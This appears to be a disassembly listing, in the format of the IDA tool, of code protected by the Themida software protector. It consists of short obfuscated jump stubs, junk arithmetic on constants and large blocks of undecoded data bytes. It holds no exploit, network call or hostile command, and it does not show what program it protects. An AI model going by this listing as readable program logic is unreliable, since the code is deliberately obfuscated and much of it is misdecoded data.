loc_5D4C79:				; CODE XREF: Themida_:005D2D22j
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5D6326
; ---------------------------------------------------------------------------
		dw 2BEh
		dd 0E9000000h, 3653h
; ---------------------------------------------------------------------------


loc_5D4C90:				; CODE XREF: Themida_:005DD45Cj
		jmp	loc_5D15BC
; ---------------------------------------------------------------------------
		db 0B0h, 25h, 0C0h
		dd 0E8C008E8h, 66290C02h, 665D0D68h, 0B1240C89h, 66C830C6h
		dd 1B55159h, 6859E830h,	0EA6h, 0B7241C89h, 0FFC7809Ah
		dd 72A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D4CC5:				; CODE XREF: Themida_:005DB4DDj
		push	25C791Ah
		pop	esi
		xchg	ecx, esi
		not	ecx
		jmp	loc_5D29BF
; ---------------------------------------------------------------------------
		dd 2C5EED81h, 0EE010003h, 5247E95Dh, 81580000h,	2B022EDh
		dd 8BC381DEh, 811C6E2Ah, 0B56174EBh, 7B79E970h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D4CFA:				; CODE XREF: Themida_:005DCF41j
		push	3F3C3D8Bh
		jmp	loc_5D1C49
; ---------------------------------------------------------------------------


loc_5D4D04:				; CODE XREF: Themida_:005D7C4Ej
		mov	dx, [esp]
		add	esp, 2
		add	al, bl
		push	bx
		mov	bl, 0CBh
		sub	al, bl
		pop	bx
		push	cx
		mov	cl, 3Dh
		sub	al, cl
		mov	cx, [esp]
		add	esp, 2
		push	bx
		jmp	loc_5D972A
; ---------------------------------------------------------------------------
		dd 1C58145h, 81000000h,	0A86E1CC5h, 4A3DE938h, 68500000h
		dd 237A1C6Dh, 48D8F758h, 1E3D0548h, 0A2E9938Eh,	66000075h
		dd 0E9240C89h, 0FFFFC860h, 33242C31h, 248B242Ch, 0C896624h
		dd 0B60F6624h, 9C5166C8h, 0FFC847E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D4D75:				; CODE XREF: Themida_:005D5BF7j
		push	edx
		mov	edx, 4
		add	ebp, edx
		push	dword ptr [esp]
		jmp	loc_5D9CBE
; ---------------------------------------------------------------------------
		db 1, 0C3h, 58h
		dd 2C381h, 3D680000h, 0E900003Dh, 0D3Eh, 0CE71FD05h, 2DF0013Dh
		dd 3DCE71FDh, 0D0FE95Eh, 0D9F60000h, 0C08DF180h, 0E95202E9h
		dd 3E27h, 0FFC7FFE9h, 4EC83FFh,	68242489h, 229Ah, 0BB241C89h
		dd 4, 4245C01h,	2434FF5Bh, 81243C8Bh, 4C4h, 4C48300h, 4C781h
		dd 0E9560000h, 0FFFFDB28h, 5AF028h, 0B60F58C3h,	8734FFC0h
		dd 0E92434FFh, 0FFFFDCB6h, 240C8B66h, 34FF5457h, 0C4815F24h
		dd 4, 4BD55h, 0EF010000h, 0B951565Dh, 71F627D6h, 27D4B850h
		dd 0C68971F6h, 0FC6AE958h, 2489FFFFh, 3A456824h, 1C890000h
		dd 34FF5424h, 241C8B24h, 4C481h, 0C4810000h, 4,	4C381h
		dd 1EE90000h, 8100004Eh, 0A76DAAC2h, 0CF2810Dh,	1A2BAA9h
		dd 0EE835AD6h, 6DFBE9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D4E72:				; CODE XREF: Themida_:005D1C70j
		mov	[esp], edx
		mov	edx, 25D76E71h
		xor	[esp+4], edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5D4FD6
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 4A76E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D4E95:				; CODE XREF: Themida_:005D23DEj
		pop	dword ptr [edx+30h]
		add	dword ptr [edx+30h], 27144E31h
		jmp	loc_5D63C2
; ---------------------------------------------------------------------------


loc_5D4EA4:				; CODE XREF: Themida_:005D78D9j
		add	eax, edx
		push	dword ptr [eax]
		jmp	loc_5D8538
; ---------------------------------------------------------------------------
		db 5Dh,	83h, 0C4h
		dd 7B0E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5D6B0A
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 405E089h,	0E9000000h, 8222h, 148BF000h, 4C48324h
		dd 0E9C3C380h, 7976h, 0C2815A58h, 4, 4C281h, 0D4E90000h
		dd 5A000088h, 8014C380h, 7AE9B6EBh, 0B6FFFFDFh,	66F32817h
		dd 0BEB805Ah, 79E9D830h, 2D000013h, 0B1917A9h, 0FFCABFE9h
		dd 0DD3058FFh, 0FFC5805Bh, 0FFDD7AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D4F2D:				; CODE XREF: Themida_:005DA24Cj
		mov	ebx, 3044C8h
		add	eax, ebx
		pop	ebx
		add	eax, 0EB1CB63Ch
		jmp	loc_5D7053
; ---------------------------------------------------------------------------


loc_5D4F3F:				; CODE XREF: Themida_:005D34D7j
		add	edx, 0FD398746h
		add	ecx, edx
		jmp	loc_5D7E85
; ---------------------------------------------------------------------------
aWs_		db 'W%_',0
		align 2


loc_5D4F52:				; CODE XREF: Themida_:005D3605j
		add	ah, 0D4h
		sub	dl, 0F5h
		add	dl, ah
		add	dl, 0F5h
		jmp	loc_5D4789
; ---------------------------------------------------------------------------


loc_5D4F62:				; CODE XREF: Themida_:005D3CF3j
		pop	ebx
		jmp	loc_5DA1DD
; ---------------------------------------------------------------------------
		dd 5F5A5752h, 81DAF75Fh, 0F27ADAC2h, 0E9D001DFh, 2446h
		dd 0C681E689h, 4, 4C681h, 34870000h, 1C875C24h,	78FEE924h
		dd 15D0000h, 23C381CBh,	5905A474h, 0BF57C301h, 71646E7Dh
		dd 15AEE9h, 889C2C00h, 24048BC1h, 4C481h, 0E1D00000h, 271BE9h
		dd 2434FF00h, 3D21E958h, 8B660000h, 0EC832404h,	2B95E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D4FD6:				; CODE XREF: Themida_:005D4E85j
		xor	eax, 25D76E71h
		jmp	loc_5D68B7
; ---------------------------------------------------------------------------
		dd 0E904C483h, 7883h, 9DC0F581h, 0EA0193C8h, 0D3015D5Dh
		dd 0E924148Bh, 7160h, 240C8B66h, 525D5455h, 68E0E9h, 240C8900h
		dd 0FE19E9B9h, 59CA891Ch, 535AE942h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D501A:				; CODE XREF: Themida_:005D8B7Fj
		push	ebp
		mov	ebp, 26BE7DDFh
		not	ebp
		xor	ebp, 62025520h
		jmp	loc_5D50B9
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 6F19BF57h, 10E96F9Eh, 8BFFFFD9h, 0FF662424h,	0E99C240Ch
		dd 0FFFFE4B5h, 24048B66h, 52E18951h, 4AF0BE56h,	0E68115B2h
		dd 590B092Eh, 3927E9h, 24148900h, 521F3FBAh, 4EC833Fh
		dd 51241C89h, 0EF78F4B9h, 0E9814165h, 2BAF73ABh, 561EE9h
		dd 6D58BF00h, 0CF814FE8h, 63827753h, 2958E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D5091:				; CODE XREF: Themida_:005D51AEj
		mov	ebp, esi
		jmp	loc_5DD40E
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Fh,	2596E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D50A6:				; CODE XREF: Themida_:005DC4D5j
		mov	esi, esp
		add	esi, 4
		jmp	loc_5D8927
; ---------------------------------------------------------------------------
		db 50h
		dd 0FFEEC6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D50B9:				; CODE XREF: Themida_:005D5028j
		dec	ebp
		not	ebp
		jmp	loc_5D8E5E
; ---------------------------------------------------------------------------
		db 50h,	0B0h, 94h
		dd 0C608BD2Ch, 0D324E958h, 0E7C1FFFFh, 7AC78103h, 686FBB1Fh
		dd 7241h, 68240C89h, 72F3DB36h,	59CF0159h, 96791E2Dh, 0EABEE91Dh
		dd 0D729FFFFh, 243C875Ah, 2414895Ch, 74FAE9h, 242C3300h
		dd 33242C31h, 855C242Ch, 0A9E99CC8h, 0FFFFFC4h,	0A3E9C8B6h
		dd 0FF000031h, 0E95D2434h, 0DD7h
; ---------------------------------------------------------------------------


loc_5D5124:				; CODE XREF: Themida_:005D3B04j
		add	[edx], ebx
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		neg	dword ptr [edi+24h]
		jmp	loc_5D7C62
; ---------------------------------------------------------------------------
		dd offset dword_67DB68
		align 2
		dw 489h
aIdaSA		db '$D>a',0
		db 0
; ---------------------------------------------------------------------------


loc_5D5147:				; CODE XREF: Themida_:005D1AB5j
		pop	ecx
		jmp	loc_5D74F1
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 55h
		dd 4BDh, 5DEF0100h, 0E904C783h,	588h
; ---------------------------------------------------------------------------


loc_5D5160:				; CODE XREF: Themida_:005D5CFEj
		inc	esi
		push	edx
		mov	edx, 0D4CF9h
		xor	esi, edx
		mov	edx, [esp]
		jmp	loc_5DACBB
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0D5010000h, 242C875Ah, 0E924248Bh, 42A3h
; ---------------------------------------------------------------------------


loc_5D5184:				; CODE XREF: Themida_:005DB199j
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		xor	edx, 1DA35B87h
		mov	esi, edx
		pop	edx
		push	0
		sub	[esp], esi
		jmp	loc_5D24C4
; ---------------------------------------------------------------------------


loc_5D51A6:				; CODE XREF: Themida_:005D32C2j
		mov	[esp], esi
		mov	esi, 38CC6308h
		jmp	loc_5D5091
; ---------------------------------------------------------------------------
aZsrs		db 'ZSR&;',0
		dw 8000h
		dd 0C780F4EFh, 5BF90808h, 0FFC4F6E9h, 242C87FFh, 2C87D5F7h
		dd 0E8C15824h, 63802504h, 6525789Ch, 3547376Eh,	43A7B078h
		dd 3457E955h, 0FE010000h, 2434875Fh, 2404315Ch,	0C3C2E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D51FA:				; CODE XREF: Themida_:005D855Bj
		mov	eax, 115C622Bh
		xor	eax, 49C46C06h
		xor	eax, 77F02CCCh
		mov	edi, eax
		pop	eax
		push	5FBBh
		mov	[esp], ebp
		jmp	loc_5D34E6
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 1Ch
		dd 8313CA44h, 0C8904ECh, 1246B924h, 0E1C10636h,	7EF18106h
		dd 0F714592Dh, 0FFC181D1h, 0C1FFFFFFh, 0F18104E1h, 71E67410h
		dd 0D8E9CE31h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D524B:				; CODE XREF: Themida_:005D267Cj
		push	59B478A4h
		jmp	loc_5DB3DB
; ---------------------------------------------------------------------------


loc_5D5255:				; CODE XREF: Themida_:005DB7EAj
		push	esp
		pop	edx
		jmp	loc_5D9857
; ---------------------------------------------------------------------------


loc_5D525C:				; CODE XREF: Themida_:005DC4E8j
		pop	ecx
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebx
		sub	dword ptr [esp], 2A931487h
		jmp	loc_5DA763
; ---------------------------------------------------------------------------


loc_5D5275:				; CODE XREF: Themida_:005D1BBAj
		mov	esi, 2C1D0693h
		push	6141h
		jmp	loc_5D716F
; ---------------------------------------------------------------------------
		dd 0A333D068h, 24048B07h, 4EC8352h, 50242489h, 4B8h, 24440100h
		dd 0FC46E904h, 0EC83FFFFh, 241C8904h, 71DBF57h,	1B681CB8h
		dd 5BE347F9h, 577668h, 240C8900h, 6D2DBBB9h, 8BCB2973h
		dd 0C483240Ch, 25EB8104h, 1318673h, 25C381FBh, 0E9318673h
		dd 51BDh, 5104C483h, 8904EC83h,	13BA2414h, 834ADE01h, 0EA81FFC2h
		dd 4ADE010Eh, 148BD189h, 4C48124h, 0E9000000h, 71A8h
; ---------------------------------------------------------------------------


loc_5D5304:				; CODE XREF: Themida_:005D413Cj
		inc	ecx
		add	ecx, 12322B1Ah
		sub	ecx, 8C37C78Eh
		xor	edi, ecx
		pop	ecx
		xor	edi, 14673D1Dh
		xor	edi, 0FAF6DF8h
		add	edi, 8642E3C0h
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_5D1DC6
; ---------------------------------------------------------------------------


loc_5D5330:				; CODE XREF: Themida_:005DA48Aj
		mov	edx, 66BD2BBFh
		mov	edi, 0F995DB3Ch
		add	edi, edx
		pop	edx
		jmp	loc_5DB9DC
; ---------------------------------------------------------------------------


loc_5D5342:				; CODE XREF: Themida_:005DACD0j
		add	esi, ebp
		pop	ebp
		add	ebx, esi
		jmp	loc_5D3478
; ---------------------------------------------------------------------------
		dd 6BD5E281h, 0E2814E56h, 49B34135h, 0FFDA94E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D535D:				; CODE XREF: Themida_:005DB203j
		mov	edi, 32337429h
		shr	edi, 6
		shl	edi, 2
		jmp	loc_5D80AA
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 16h
		dd 552E8537h, 411B85BDh, 28F5815Dh, 31735087h, 4FE95DEEh
		dd 0B200007Bh, 80C2FE36h, 0D00016F2h, 2434FF5Ah, 2A146859h
		dd 2C890000h, 81E58924h, 4C5h, 25A7E900h, 0F6810000h, 20BE32B4h
		dd 2117F681h, 0B8E92569h, 0FF000049h, 0F9E94077h, 1FFFFC1h
		dd 9E22DC8h, 0E9530096h, 0FFFFE3C8h, 83241C8Bh,	0C48104C4h
		dd 4, 37EAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D53E1:				; CODE XREF: Themida_:005DD462j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5D6563
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 21E3459Dh, 9EE4F581h, 0EB01A78Eh, 2AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D5409:				; CODE XREF: Themida_:005D427Fj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5D3CCE
; ---------------------------------------------------------------------------
		db 0Dh,	0A6h, 1Dh
		dd 4DE925FBh, 66000012h, 6824048Bh, 4F12h, 68243C89h, 5D7Dh
		dd 6F76E9h, 24248B00h, 818FE9h,	8734FF00h, 1297E9h, 0E952AC00h
		dd 82A8h, 0C9800AB1h, 1CB0506Bh, 2858C128h, 7FC2E9CBh
		dd 0EA810000h, 0C6798F12h, 0FFE8C4E9h, 240C89FFh, 46B8E952h
		dd 52580000h, 645EF2BAh, 31E2813Ah, 814D5A24h, 7D9280EAh
		dd 0E9D309BAh, 0FFFFDFA3h, 12E951ACh
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D5493:				; CODE XREF: Themida_:005D9F75j
		mov	edx, 78D50179h
		xor	edx, 35ED3ADCh
		push	eax
		mov	eax, 6FC33FACh
		add	eax, 1AA81E61h
		xor	eax, 5BC22471h
		jmp	loc_5D411B
; ---------------------------------------------------------------------------


loc_5D54B3:				; CODE XREF: Themida_:005DBCF9j
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
aAS		db 'a*',0
		dd 4EC8300h, 0E9243489h, 0FFFFD678h
; ---------------------------------------------------------------------------


loc_5D54D0:				; CODE XREF: Themida_:005D7CBCj
		xor	ebx, 0D1BDA657h
		push	ebx
		pop	ebp
		pop	ebx
		shl	ebp, 3
		jmp	loc_5D604A
; ---------------------------------------------------------------------------
		db 5Dh,	89h, 0F2h
		dd 0CE21E95Eh, 5158FFFFh, 4EC81h, 3C890000h, 19E95124h
		dd 0AD00002Bh, 4EC81h, 6EE90000h, 68000028h, 3B7Fh, 0E9241489h
		dd 2DEAh
; ---------------------------------------------------------------------------


loc_5D5514:				; CODE XREF: Themida_:005D572Fj
		mov	ecx, 0FFFFFFFFh
		jmp	loc_5D57F8
; ---------------------------------------------------------------------------
		dd offset dword_49005C+740Ch
		dw 8900h
		dd 0BB241Ch, 1000000h, 0D7C2E9D3h, 6024FFFFh, 0E906E8C0h
		dd 2909h, 3C8BF901h, 4C48124h, 87000000h, 665C240Ch, 9C240431h
		dd 0FFC067E9h, 2B8FFh, 0C7010000h, 243C8758h, 0FFF1ECE9h
		dd 66B9B8FFh, 0C20162EDh, 3EFBE9h, 47095800h, 8F68581Ch
		dd 0E900006Bh, 4D59h, 0E9F9E280h, 0FFFFD50Fh, 0C781F701h
		dd 7120500Bh, 1C6E95Eh,	1C8B0000h, 803AE924h, 0E9AD0000h
		dd 2E3Fh, 81240C8Bh, 4C4h, 24540100h, 24148B08h, 4C481h
		dd 348B0000h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h
		dd 0E9008F5Ch, 0FFFFEC12h
; ---------------------------------------------------------------------------


loc_5D55D4:				; CODE XREF: Themida_:005D438Ej
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ebp
		jmp	loc_5D2278
; ---------------------------------------------------------------------------
		db 0F7h
aSfk		db 'K',0
		align 2
		dw 0C89h
		dd 0DF7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D5602:				; CODE XREF: Themida_:005D968Dj
		add	ebp, 0C5FDA3ABh
		push	ebp
		pop	ecx
		jmp	loc_5D8D24
; ---------------------------------------------------------------------------
		db 81h
		dd 0B5DC7C7h, 241C8B79h, 0FFEACCE9h, 4C481FFh, 55000000h
		dd 3E0550BDh, 1D2CE933h, 0C8B0000h, 0E2895224h,	4C281h
		dd 0C2830000h, 24148704h, 208E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D5646:				; CODE XREF: Themida_:005D4169j
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_5DB1BC
; ---------------------------------------------------------------------------


loc_5D5651:				; CODE XREF: Themida_:005D56E3j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_5D31A0
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 148BD001h,	4C48124h, 52000000h, 15DABD55h
		dd 0DDF711A8h, 0C581EDD1h, 0B0516Bh, 575DEA89h,	420F09BFh
		dd 0C62E91Ch, 0BE560000h, 0C4800EEh, 895EF231h,	2434FFD5h
		dd 8124148Bh, 4C4h, 4C48100h, 0E9000000h, 293Bh, 0E137E95Dh
		dd 0C281FFFFh, 40654B54h, 0FFF3E1E9h, 8BFB89FFh, 32E9243Ch
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D56D3:				; CODE XREF: Themida_:005DC483j
		add	ebx, 149B0A60h
		add	ecx, ebx
		pop	ebx
		pop	ebx
		pop	eax
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_5D5651
; ---------------------------------------------------------------------------
		dd 5C243C87h, 0FFF386E9h, 34C681FFh, 0C16AF043h, 0D6F702EEh
		dd 6AFAE9h, 2434FF00h, 5A2434FFh, 4C481h, 60680000h, 89000073h
		dd 0E9542414h, 5292h
; ---------------------------------------------------------------------------


loc_5D571C:				; CODE XREF: Themida_:005D8F41j
		add	esi, 44307C22h
		shr	esi, 3
		sub	esi, 0BB511D3Ch
		sub	eax, esi
		pop	esi
		push	ecx
		jmp	loc_5D5514
; ---------------------------------------------------------------------------
		dd 55AAC181h, 0B8501694h, 48A06F08h, 35D0F748h,	906ECFE1h
		dd 48BC101h, 0CA73E924h, 9F68FFFFh, 0E900005Ch,	0FFFFD962h
		dd 5B5568h, 243C8900h, 42474FFh, 1A14E95Fh, 0ED810000h
		dd 5D072B79h, 0C581FD01h, 5D072B79h, 242C875Fh,	2824248Bh
		dd 0E99C2404h, 0FFFFBE30h, 8704C483h, 248B241Ch, 0E930FF24h
		dd 0FFFFBE20h, 81E18951h, 4C1h,	4C18100h, 87000000h, 248B240Ch
		dd 0E9F02924h, 5B3Dh, 0EC83752Ch, 241C8904h, 8904EC83h
		dd 0DCB1240Ch, 7803E950h, 4810000h, 424h, 24148B00h, 4C481h
		dd 0AE90000h, 5BFFFFC6h, 4C481h, 7EE90000h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5D57EF:				; CODE XREF: Themida_:005D86A7j
		mov	[esp], edx
		push	ebp
		jmp	loc_5DB9FE
; ---------------------------------------------------------------------------


loc_5D57F8:				; CODE XREF: Themida_:005D5519j
		sub	eax, 4BE33E24h
		sub	eax, 3A4C7870h
		add	eax, ecx
		add	eax, 3A4C7870h
		add	eax, 4BE33E24h
		jmp	loc_5D45DA
; ---------------------------------------------------------------------------
		db 49h
		dd 8108E9C1h, 4D462BE1h, 0E9D1F75Bh, 0FFFFFDCFh
; ---------------------------------------------------------------------------


loc_5D5824:				; CODE XREF: Themida_:005D3878j
		sub	ebp, 31086874h
		add	ebp, esi
		jmp	loc_5DC22F
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 13E93CB6h, 81000030h, 7D67B5E7h, 0D0C7812Fh,	1F887BDh
		dd 0ED12E9FAh, 0D029FFFFh, 8124148Bh, 4C4h, 3C116800h
		dd 0C890000h, 81E18924h, 4C1h, 4E98300h, 14D1E9h, 2D686600h
		dd 1C89663Fh, 7AE95224h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D587F:				; CODE XREF: Themida_:005D8E17j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_5DAF77
; ---------------------------------------------------------------------------


loc_5D5894:				; CODE XREF: Themida_:005D8C14j
		rep movsd
		jmp	loc_5DCA35
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F662424h, 5166C8AFh, 0BD12E99Ch, 1489FFFFh,	148B5424h
		dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 698CE95Ch
		dd 0B0500000h, 58C6306Fh, 34FFF030h, 24148B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5D1AC8
; ---------------------------------------------------------------------------
		db 88h,	0C2h, 53h
		dd 88D48850h, 0F98858E7h, 7C1EE95Bh, 0F8B90000h, 417EE470h
		dd 1D61E981h, 0C1815A36h, 0DB51AC6Ah, 20F1BD55h, 0EE292FC1h
		dd 113AE95Dh, 34FF0000h, 2434FF24h, 0E9545158h,	0FFFFC0FCh
		dd 305BFE88h, 6CFAE9F0h, 0EC810000h, 4,	60B5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D5939:				; CODE XREF: Themida_:005D833Aj
		pop	ebp
		sub	dword ptr [esp+4], 1D7D3CEEh
		sub	[esp+4], ebx
		add	dword ptr [esp+4], 1D7D3CEEh
		add	dword ptr [esp+4], 3EBE71CEh
		pop	ebx
		jmp	loc_5D9D39
; ---------------------------------------------------------------------------
		dd 57D02966h, 69C6BF66h, 36F78166h, 0EF816652h,	53667FBBh
		dd 0CD46BB66h, 11B0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D5979:				; CODE XREF: Themida_:005D9999j
		pop	esi
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], bp
		push	small word ptr [esp+2]
		pop	bp
		pop	small word ptr [esp]
		push	small 1E66h
		mov	[esp], bp
		not	word ptr [esp]
		mov	bp, [esp]
		push	0C55h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		xor	[esp], bp
		jmp	loc_5D7AAD
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0F7662424h, 5F4DE9F1h, 0C4830000h, 5F6EE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D59E2:				; CODE XREF: Themida_:005D8DF5j
		sub	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5DC091
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 87000000h, 0E95C240Ch, 29Eh,	5C243C87h, 0FFD9E4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D5A09:				; CODE XREF: Themida_:005D385Bj
		add	ebp, 4
		jmp	loc_5D9B00
; ---------------------------------------------------------------------------


loc_5D5A14:				; CODE XREF: Themida_:005DB02Fj
		not	esi
		xchg	esi, edi
		inc	edi
		jmp	loc_5DB1EC
; ---------------------------------------------------------------------------


loc_5D5A1E:				; CODE XREF: Themida_:005DA406j
		pop	ebp
		dec	ebp
		xor	ebp, 1EA1274Fh
		xor	ebp, 0D5538E2h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5D16F7
; ---------------------------------------------------------------------------
		dd 54243489h, 4C6815Eh,	57000000h, 4BA52h, 0B7E90000h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D5A4B:				; CODE XREF: Themida_:005D75D6j
		and	ecx, 29856F39h
		neg	ecx
		shl	ecx, 2
		xor	ecx, 0B4830C8Bh
		sub	esi, ecx
		pop	ecx
		add	esi, 49B02CA4h
		neg	esi
		jmp	loc_5D9B14
; ---------------------------------------------------------------------------
		dd 0C7E9EE21h, 0BEFFFFE8h, 21616265h, 38FC681h,	0F7292A29h
		dd 86C2815Eh, 29477A1Bh, 86EA81FAh, 5F477A1Bh, 0C3AE9h
		dd 34ECB800h, 0D48511Ch, 6CE45F5Fh, 0FC7FFB2Dh,	58C1897Dh
		dd 8159CA01h, 4EAh, 24148700h, 3363E9h,	24043300h, 0E9240431h
		dd 0FFFFEF9Dh, 4B8505Ah, 1000000h, 3C8758C7h, 1C71E924h
		dd 1C890000h, 2474FF24h, 2434FF04h, 6E3BE9h, 2434FF00h
		dd 4C4815Dh, 8F000000h,	67E92404h, 6400002Dh, 0BDE932FFh
		dd 0BEFFFFBAh, 0B083A93h, 3A91F681h, 312D0B08h,	1053E32h
		dd 0C02DE9F0h, 0E952FFFFh, 144Bh, 0E924248Bh, 0FFFFBA98h
		dd 7FC768h, 555DE900h, 0E7B30000h, 0E23E9h, 5943BD00h
		dd 0C5815F79h, 0A086A6C1h, 0CAE9h, 18E95300h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D5B4B:				; CODE XREF: Themida_:005D1BDBj
		sub	ebp, 0F2EFF529h
		or	edi, ebp
		pop	ebp
		push	edx
		mov	edx, 43E42AB2h
		sub	edi, 621A13E0h
		add	edi, edx
		add	edi, 621A13E0h
		jmp	loc_5DB023
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 83000000h, 1C8704EBh, 24248B24h, 83241C89h, 8F5404ECh
		dd 4812404h, 424h, 0A5E95B00h, 89FFFFDEh, 4C281E2h, 83000000h
		dd 148704C2h, 0E9505C24h, 1F64h, 0B2EEAB9h, 0F7D9F735h
		dd 6BE981D1h, 810EDC6Ah, 0D6B2AC1h, 0CC93E91Dh,	2966FFFFh
		dd 0E99C2404h, 0FFFFB9F0h, 0F6E9E389h, 100006Ch, 0BE565DEBh
		dd 386004CDh, 665EF329h, 6600B60Fh, 6636A168h, 0E9240489h
		dd 3B08h, 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5D4D75
; ---------------------------------------------------------------------------
		dd 4B10F781h, 0FA316E4Dh, 87D2F75Fh, 0C1E945EAh, 89000021h
		dd 0F5015DEEh, 0CF99E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D5C1A:				; CODE XREF: Themida_:005DA4D8j
		add	esp, 4
		push	35A5h
		mov	[esp], ebp
		push	esp
		jmp	loc_5D27FB
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4C481h, 0C870000h, 0F7F3E924h, 0E95CFFFFh, 0FFFFC861h
		dd 0B4E9E589h, 31000000h, 148B66C3h, 0E77DE924h, 0CB01FFFFh
		dd 451FE9h, 0E9F80100h,	3A5h
; ---------------------------------------------------------------------------


loc_5D5C68:				; CODE XREF: Themida_:005DC346j
		mov	edi, 638A0E34h
		and	edi, 50600EAEh
		jmp	loc_5D2297
; ---------------------------------------------------------------------------
		dd 0FF243C89h, 5F042474h, 0A6EE9h, 0F5F78000h, 0EFD0CFFEh
		dd 2820C780h, 241C8BFAh, 4C483h, 0DD8DE9D3h, 0FF52FFFFh
		dd 8B042474h, 89502414h, 405E0h, 0C0830000h, 24048704h
		dd 5B36E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D5CB9:				; CODE XREF: Themida_:005D5EC1j
		xor	edi, 0BED39A3Dh
		add	ebx, edi
		pop	edi
		pop	esi
		jmp	loc_5DABAE
; ---------------------------------------------------------------------------
		dd 84268h, 242C8900h, 0B951E589h, 4, 8359CD01h,	2C3304EDh
		dd 0C754E924h, 0C381FFFFh, 3BBA4D27h, 0FA0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D5CF1:				; CODE XREF: Themida_:005D4452j
		pop	ebx
		push	esi
		mov	esi, 1B017C79h
		or	esi, 787B6D7Ah
		jmp	loc_5D5160
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 4C58100h, 87000000h, 248B242Ch, 0B8A2E924h, 37B3FFFFh
		dd 0CE9D3F6h, 8900006Ch, 668241Ch, 5400006Ah, 6D7DE9h
		dd 59C82100h, 840FC00Bh, 5F4Eh,	62B16855h, 14890000h, 6E566824h
		dd 515A0EE8h, 2599E9h, 0F7FD8700h, 51FD87D7h, 0FFCE9CE9h
		dd 4C481FFh, 1000000h, 5904244Ch, 34AFE9h, 0B1EB8100h
		dd 1E9BB68h, 0B9515BDDh, 4, 73A6E9h
